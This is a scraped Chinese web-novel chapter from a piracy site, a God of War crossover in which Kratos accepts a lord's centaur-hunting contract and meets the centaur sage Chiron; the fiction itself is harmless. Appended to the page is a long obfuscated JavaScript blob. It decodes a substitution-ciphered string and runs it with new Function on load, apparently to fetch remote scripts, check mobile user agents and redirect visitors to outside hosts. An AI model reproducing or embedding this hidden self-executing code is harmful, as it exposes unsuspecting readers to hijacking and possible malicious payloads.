首页
第600章 喀戎
返回
关灯 护眼:关 字号:小

第600章 喀戎

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第600章喀戎
    色萨利。
    拉里萨城主府。
    两坨边缘焦黑、渗著暗红色粘稠血液的肉块,被毫不客气地丢在地毯上。
    领主伊翁坐在高背椅上,手里端著只金杯。
    他看著地毯上那两只巨大得超出常理的狮耳,再抬眼看了看站在阶下、浑身散发著骇人煞气的灰白青年。
    酒杯边缘的酒液微微摇晃。
    伊翁是个精明的政客。
    他不需要去喀泰戎山验证狮子的尸体,单凭这大殿里骤降的温度,以及两只连精钢都砍不穿的雄狮耳廓,他就能判定站在阶下的是个什么怪物。
    最近三个月。
    拉里萨城的日子过得水深火热。
    北方游荡的半人马族群像是发了疯,成群结队地南下劫掠。
    城邦外围数十亩即将丰收的农田被四条腿的畜生踩成烂泥,东边几条至关重要的铜矿道也被它们弄塌。
    拉里萨的卫队死伤惨重。
    伊翁不是没想过雇佣正规的佣兵团,但闻到血腥味的豺狼一开口就要天价,还要城邦承担武器损耗、伤亡抚恤甚至女人的开销。
    拉里萨的财政根本负担不起。
    但现在,似乎比整个佣兵团加起来还要恐怖的杀神..
    单枪匹马地站在了他的大殿里。
    简直是诸神赐下的宝贝!
    伊翁放下酒杯,脸上迅速堆起笑容。
    他站起身,大张著双臂走下台阶。
    「真正的勇士!伟大的壮举!」伊翁声音洪亮,「喀泰戎山的噩梦终于终结!我代表拉里萨的全体子民,向你致以最崇高的敬意。你为色萨利除去了心腹大患,这等功绩,足以被吟游诗人刻在石碑上,传颂千年!」
    他招了招手,一名战战兢兢的侍从捧著一个沉甸甸的亚麻布袋快步走上前。
    「哐当。」
    一整袋纯度极高的白银被重重放在桌面上。
    「这是你应得的赏金。」伊翁笑容满面,「为了匹配你这份拯救苍生的英雄壮举,我特意在原本的悬赏之上,额外增加了一半的数额。这是拉里萨对英雄的慷慨搞赏!」
    奎托斯上前一步,直接抓起钱袋掂了掂重量。
    白银相互撞击的清脆声响,勉强盖过了他手臂上铁链的摩擦声。
    随即再将钱袋系在腰间。他准备离开。
    「请留步!」
    伊翁连忙出声。
    「色萨利的英雄,拉里萨永远欢迎————」
    「别称呼我英雄。」奎托斯微微皱眉。
    伊翁的笑容僵在脸上。
    他张了张嘴,咽下一口唾沫。
    这不合常理。
    哪个提著刀剑在死人堆里打滚的战士不渴望荣耀?
    哪有刀头舔血的亡命徒会拒绝英雄这个光环?
    但伊翁毕竟是个政客。
    「当然,当然。虚名配不上你的实力。我理解。」老男人将姿态放低,「既然白银已经结清,那我们不妨谈谈另一笔买卖。」
    他指了指奎托斯腰间的钱袋。
    「你如果愿意在拉里萨多留几天,替我处理一点小小的麻烦」。我可以把这些翻三倍。」
    三倍。
    对于任何一个流浪的佣兵来说,这都是笔足以让他们去屠杀一头龙蛇的巨款。
    伊翁自信满满地等待著对方询问目标是谁、有多危险。他连如何夸大半人马的威胁、
    如何利用对方的战意都想好了。
    奎托斯看著伊翁,眉头微微皱起。
    大殿里安静得只能听到火把燃烧的噼啪声。
    然后,这个刚刚手撕了魔狮的狂徒,盯著领主的眼睛,一本正经地开口。
    「翻三倍,能买多少亩地?」
    」
    「,领主沉默了。
    他见过贪财如命的佣兵,听过他们要金银财宝、要女人、要奴隶。他见过嗜血的狂战士,听过他们要名剑、要盔甲、要仇人的脑袋。他甚至见过那些自命不凡的英雄,要城池、要爵位、要公主的婚约。
    但他活了四十多年,统治了拉里萨十几年,从没见过任何一个能够独自猎杀神话巨兽的杀神,站在王座前,第一反应是询问当下的农业地价。
    他甚至怀疑自己的耳朵是不是被喀泰戎山的风雪冻坏了。
    「————地?」
    伊翁勉强从喉咙里挤出一个字。
    「农田。如果是带水源的。黑土的那种。」奎托斯随口补充。
    「呃...」
    「————以拉里萨现在的市价。」领主沉吟道,「三倍的悬赏,足以在城南的灌溉区,买下两百亩最上等的良田。外加一栋带风车的石头农庄。」
    奎托斯点了点头。
    两百亩。
    足够种半年的小麦和一季的燕麦。
    如果搭起棚子,还能养上十几头牛。
    那确实是很多钱了。
    「你想做什么?」奎托斯问。
    伊翁切入正题。
    「半人马。一群长著马身子、毫无开化的野蛮畜生。他们盘踞在北边的林地里。」伊翁沉声道,「他们野蛮,毫无底线。这三个月来,他们不仅杀人放火,更可恨的是,他们肆意践踏农田。拉里萨城外即将抽穗的小麦,都被畜生们用蹄子踩成了烂泥!他们甚至把矿道堵死,截断了灌溉的水源!」
    奎托斯瞳孔收缩了一下。
    杀人放火?那是城邦卫队的无能。
    但踩踏即将丰收的农田?截断灌溉水源?
    在农夫的逻辑里,这可是十恶不赦的死罪。
    比任何神谕和诅咒都要恶劣一万倍。
    牲口如果敢破坏庄稼,唯一的下场就是变成地里的肥料。
    「他们毁了麦田。」奎托斯确认了一遍。
    「毁得一干二净!连根拔起!」伊翁痛心疾首地控诉。
    奎托斯的手移到了背后的斧柄上。
    敏锐地捕捉到了这股蒸腾而起的杀意,伊翁心中大喜过望。
    「所以,我需要你。凭借你这英雄般的伟力————」
    「铿!」
    伐木斧在桌上磕出刺耳的锐音。
    奎托斯冷冷地盯著他。
    「————凭借你的手艺!请去抵抗破坏我们农田的畜生!」
    「记住。」
    「我之所以留下。」农夫的儿子平静道,「是为了保护农夫们的麦田。」
    「不是为了成为你口中的英雄。」
    拉里萨城南。兵器街。
    铁匠铺里的炉火烧得正旺。
    热浪扭曲了空气,将打铁砧台烘烤得如岩浆般炽热。
    「铛——!
    火星从砧台上炸开,溅落在满是煤渣的泥地上,滋滋作响。
    赤裸著粗壮上身的铁匠丢下大铁锤,虎口震得渗出丝血丝。
    他扯过脖子上的脏毛巾,胡乱抹了一把脸上的热汗,瞪著眼睛看向砧台上的短斧。
    「修不了。」
    铁匠大口喘著粗气,指著斧刃上的几处豁口,「外乡人,你这把斧头邪门得很。」
    奎托斯站在炉火的阴影边缘。
    .
    他上前一步,灰白的大手抓起滚烫的斧柄。这把跟随他劈柴、开荒、屠杀恶魔与神话巨兽的伐木斧,终究在硬撼喀泰戎山雄狮的角质层时,付出了代价。
    斧刃中段卷起,边缘崩出了指甲盖大小的缺口。
    以农夫的务实标准来看,这已经是一把不合格的废器。
    「色萨利的铁锭,填不上?」奎托斯抚过卷刃的缺口。
    「填不上!」
    铁匠没好气地摆了摆手,「我用了铺子里最纯的精铁,烧到化成水,刚滴进缺口,还没等锤子砸下去,铁水自己就凝成了死渣,直接剥落!你这斧头的材质似乎根本不认凡铁!」
    说著,铁匠心有余悸地看了一眼斧背。
    回想起刚才锻打时的触感,铁锤砸在上面,完全没金属交击的韧性,反倒像是一锤子砸进了一座大山,反震力差点卸掉他的胳膊。
    「拿走吧。放眼整个拉里萨城,哪怕是给国王打造王剑的宫廷御用工匠,也修不好你这把怪斧。」
    奎托斯没多言。
    他扯过一段浸满油脂的破布,随意擦拭掉斧面上的死铁渣,将短斧重新挂回后腰的皮扣上。
    转身走出闷热的铁匠铺。
    正午的日头毒辣。
    奎托斯顺著兵器街走到尽头的一处露天酒馆。
    他找了个角落的木桌坐下,解下挂在腰间的羊皮水袋,灌了一口温吞的井水。
    对付拥有与人类无二智慧的半人马,他并不怎么想用混沌之刃,而如果斧头劈不开半人马的马身骨骼,他的收成就会延误。
    「砰。」
    一声沉闷的撞击打断了奎托斯的盘算。
    麦酒顺著桌面滑过来,撞在他手边的水袋上。
    奎托斯抬起眼皮。
    木桌对面,坐下了一个男人。
    男人穿著套半旧的皮甲,皮甲表面满是刀剑划过的修补痕迹。他留著络腮胡,右边耳朵缺了小半截,鼻梁有一道明显的疤痕。
    这是一个将脑袋别在裤腰带上、在战场泥沼里摸爬滚打了十几年的老油条。
    「城里最好的铁匠似乎都对你的宝贝束手无策。」
    男人咧开嘴,露出一口黄黑相间的牙齿,笑容却透著股毫不掩饰的粗犷与熟稔,「喝一口。这马尿虽然难喝,但至少能冲一冲铁匠铺里的煤烟味。」
    奎托斯没有去碰那杯麦酒。
    「我不喝陌生人的酒。」他说。
    「陌生人?」
    男人大笑两声,他毫不见外地扯过长凳,拉近了两人之间的距离。
    「在色萨利这群软蛋眼里,你是个提著狮子下山的活阎王。但在我这双老眼里————」男人抬起粗壮的食指,点了点奎托斯左眼眼眶周围,用暗红色泥土涂抹的战纹,「这块红泥,骗得了拉里萨的卫兵,骗不了我。」
    他重重地拍著自己的皮甲胸口。
    「河畔的淤泥,混著斯巴达人战死时的颈血。这分明是老兵临死前传给同泽的守护印记。」
    「只有在斯巴达的方阵里并肩淌过血海,只有真正咽下过敌人喉管里喷出来的血水,身上才会腌透这股味道。」
    「我叫斐德洛斯。一个在色萨利混饭吃的前斯巴达兵痞。」斐德洛斯举起自己面前的酒杯,仰头灌下一大口,「所以,别提什么陌生人。在这鸟不拉屎的北地,两个斯巴达出来的孤魂野鬼撞在一张桌子上,就算是亲兄弟了。」
    」
    「」
    他算什么斯巴达人..
    但...
    奎托斯目光微凝。
    想起了某个在破败城邦外死战不退的老兵,想起其粗糙大手抹在自己脸上的温度。
    眼前的斐德洛斯,身上确实透著与那老兵相似的气息。
    奎托斯收回视线,目光落在面前的麦酒上,依旧没有去碰。
    「我接了伊翁的契约。」奎托斯直切主题,「清理北边林地的半人马。
    97
    「我知道。」
    斐德洛斯抹掉胡子上的酒沫,「全城都知道了。伊翁那个满肠肥油的蠢货,花了三倍的价钱买你出手。他以为捡了个大便宜。」
    老兵痞冷笑一声。
    「但你遇到麻烦了。」斐德洛斯的目光移向奎托斯后腰,「四条腿的杂碎,骨头硬得很。没有一把锋利的破甲兵器,就算是神仙也得被他们的铁蹄踩成肉泥。你的斧头钝了。
    拉里萨的凡铁,配不上它。」
    「你知道哪里能修?」奎托斯问。
    「我这双手只会杀人,不会打铁。」斐德洛斯双臂抱胸,身子向后靠在椅背上,「但在这片地界上,如果有什么东西连拉里萨的铁匠都束手无策,那就只能去找那些活在传闻里的大人们。」
    他探出半个身子,手指蘸著洒在桌上的酒水,画了一个简陋的地形图。
    「往东走,珀利翁山。那地方终年云雾缭绕,常人根本找不到入口。但如果你带著那帮半人马的骚臭味去找,就一定能撞见它。」
    斐德洛斯抬头看向奎托斯。
    「贤者,喀戎。」
    他压低声音,「万师之师。活了不知道多少个年头,教导出无数英雄的怪物。他手里定然掌握著最古老的熔炼技艺和秘金。」
    「而且,他是个半人马。
    「」
    「你则要清理一群发疯的半人马。」
    火焰。
    漫山遍野、吞噬一切的赤红怒火。
    浓烟呛住了咽喉。
    千百匹人马在火海中被生生烧熟。
    伴随著蹄子踢踏著焦土的惨烈哀鸣,大地从深处裂开巨大的深渊。
    托举苍穹的泰坦从地幔深处拔地而起。
    可在遮天蔽日之下,又有灰白色的身影逆势而上。
    浑身燃烧著暴戾的神火。
    两条粗壮的手臂在风暴中挥舞,缠绕著烈焰的锁刃直扑泰坦头颅。
    喀戎的视线穿透了火光。
    他盯住灰白男人挥动锁刃的左手。
    一枚盘踞著青铜蜥蜴的戒指在业火的映照下,折射出刺目的冷光。
    那是...
    「嗡大脑一颤,半人马贤者猛地睁开双眼。
    他大口喘著粗气,抬起手背擦去额头上密布的冷汗。
    珀利翁山深处的岩洞里,只有钟乳石滴水的滴答声。几束微弱的晨光顺著藤蔓的缝隙漏进来,洒在铺满干草的石床上。
    喀戎撑起身子,低下头。
    他左手已攥成了拳头,可却有异物硌著掌心。
    五指缓缓摊开。
    一枚边缘带著些许锈迹的青铜戒指,正安静地躺在他温热的掌纹里。
    「沙沙————」
    旁边粗糙的岩壁上,传来细微的鳞片摩擦声。
    一只通体暗金、体长不过半掌的小蜥蜴从石缝里钻了出来。它吐著信子,原本怯懦的竖瞳在接触到青铜戒指的瞬间,爆发出狂热的贪婪。
    小家伙顺著喀戎的手腕一路爬进掌心。
    它熟练地趴在戒指表面,首尾相连,将身子紧紧盘缩成一个圆环。
    伴随著一阵微弱的金属摩擦声,暗金色的鳞片迅速褪色,最终彻底化作戒指表面栩栩如生的青铜浮雕。
    克洛诺之戒。
    喀戎皱起灰白的浓眉。
    这是他很多年前,在奥林匹斯山脚下的碎石堆里捡到的物件。
    这东西身上带著古老的岁月沉淀。
    喀戎曾向相熟的诸神询问,但众人都对这枚戒指矢口否认。
    诸神弃之如敝履,于是老人马便将其收入囊中。
    为了纪念自己被放逐到深渊的泰坦父亲克洛诺斯,喀戎给这只伴生在戒指上的蜥蜴取名克洛诺。
    克洛诺是个古怪的生灵。
    它生性害羞,平日里总是缩成一团青铜死物。可一旦闻到金属和矿石的气味,这小东西就会兴奋得浑身发抖。
    它以矿石为食。无论是凡间的生铁,还是掺杂了魔力的秘银,只要被它盯上,连嚼带咽不留残渣。这些年来,喀戎为了打造兵器而在山洞深处积攒了整整三大箱珍贵矿石,全被这只贪吃的蜥蜴啃得一干二净。
    可今天早晨,它却主动跑了出来,盘回了戒指上。
    喀戎将戒指攥紧。
    活了这么漫长的岁月,他太清楚梦境的运作。掌控著命运与权柄的存在,从不会让毫无意义的画面钻进贤者的脑子里。
    他撑起庞大的马身,四只马蹄在岩石地面上踏出沉稳的声响。
    喀戎走到岩壁旁,伸手去取挂在木藤上的草药背篓,打算去后山采些新鲜的没药。
    可就在他伸手的一刻。
    空气中荡开一圈涟漪。
    一片银白色的橄榄叶,慢悠悠地飘落。
    银光闪烁间,不偏不倚地落在喀戎用来推演星象的羊皮卷正中央。
    贤者伸出的手僵在半空。
    他盯著散发著淡淡神威的银色橄榄叶,眼角的皱纹深深地挤在了一起。
    雅典娜。
    高高在上的智慧与战争之神,似乎连托梦的把戏都不屑于掩饰。她光明正大地在贤者的床前留下了记号,甚至是在下达某种明示。
    「山雨欲来。」
    喀戎叹息一声,将橄榄叶随手拂落。
    随即背起草药篓,转身走向山洞外。
    珀利翁山终年笼罩在浓得化不开的迷雾中。
    这可不是寻常的水汽。
    这是喀戎亲手布下的魔法迷宫。迷雾中充斥著空间折叠与方向扭曲的咒文。树木会随著入侵者的视线自行移动,藤蔓会抹去来时的脚印。别说是心怀不轨的凡人,就算是喀戎教导过最杰出的学生...
    比如力大无穷的赫拉克勒斯,如果在没有星象指引的情况下硬闯,也会在这片林子里兜兜转转困上大半个月。
    所以,当喀戎走出洞口,抬头看去时。
    他看透了沧海桑田的眼睛,生平第一次露出了无法掩饰的惊愕。
    前方二十步外。
    两道身影正踩著枯枝败叶,稳稳地向山洞走来。
    走在侧后方的,是一个探头探脑的络腮胡老兵痞。
    这家伙左顾右盼,手里攥著短剑,对周围扭曲的树木虚影充满了警惕。
    而走在正前方的那个人。
    喀戎呼吸一滞。
    灰白色的皮肤。左脸暗红色的战纹。缠绕在粗壮双臂上的漆黑锁链。
    和梦境里在泰坦面前挥舞双刃、焚烧半人马一族的灾厄,一模一样。
    他竟然真的找来了。
    而且,毫发无损地穿透了魔法迷宫。
    喀戎盯著奎托斯脚下。
    没有使用破除幻象的咒语,没有观察树木生长的纹理,甚至没有试图去分辨方向。
    这个灰白男人似乎只是认定了一个目标点,然后硬生生地踩著直线走了过来。挡路的幻影被他撞碎,扭曲的空间被他那种毫无道理的蛮力强行趟平。
    他竟无视了迷宫的存在。
    但在最初的震惊过后。
    作为教导过全希腊无数英雄的万师之师,喀戎凭借他毒辣的眼光,亦是在这个灾厄化身的步态中,读出了一组弱点。
    这具躯体里蕴含著足以撕裂城墙、倒拔山岳的恐怖爆发力。
    但他的行走动作..
    完全不对。
    一个久经沙场的战士,无论是斯巴达的重步兵,还是色萨利的游侠,走路时重心都会习惯性地放在前脚掌。
    可眼前这个男人。
    他脚掌平踏,脚跟重重地砸进泥土里。
    他重心压得很低,身躯前倾。
    双臂的摆动幅度很小,似乎只是为了在泥泞烂地里稳住下盘。
    这是为了拖拽极其沉重的犁铧,为了扛起堆积如山的麦捆,为了把锄头狠狠砸进板结的荒地里。
    作为万师之师,喀戎当然能看出这是属于农夫的发力习惯。
    他平常当然也会种地,也会偶尔下山教人种地,将一些新的稻种带给山脚下的凡人们,再由他们传向人间。
    四只巨大的马蹄踏出阴影,拦在了山洞正前方的石台上。
    对面的两人停下了脚步。
    斐德洛斯立刻躲到了奎托斯的侧后方,握紧剑柄。
    奎托斯抬起头,赤红色的双瞳对上面前这位半人马老者的审视。
    晨雾在两人之间缓慢流淌。
    「————谁教你走路的?」喀戎紧锁著眉头,问出这个让常人完全摸不著头脑的问题。
    「我父亲。」
    「你父亲是斯巴达的战士?」喀戎追问。
    「他是农夫。」
    「6
    」
    那就不奇怪了...那就不奇怪了..
    半人马贤者释然地长出一口气。
    >
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();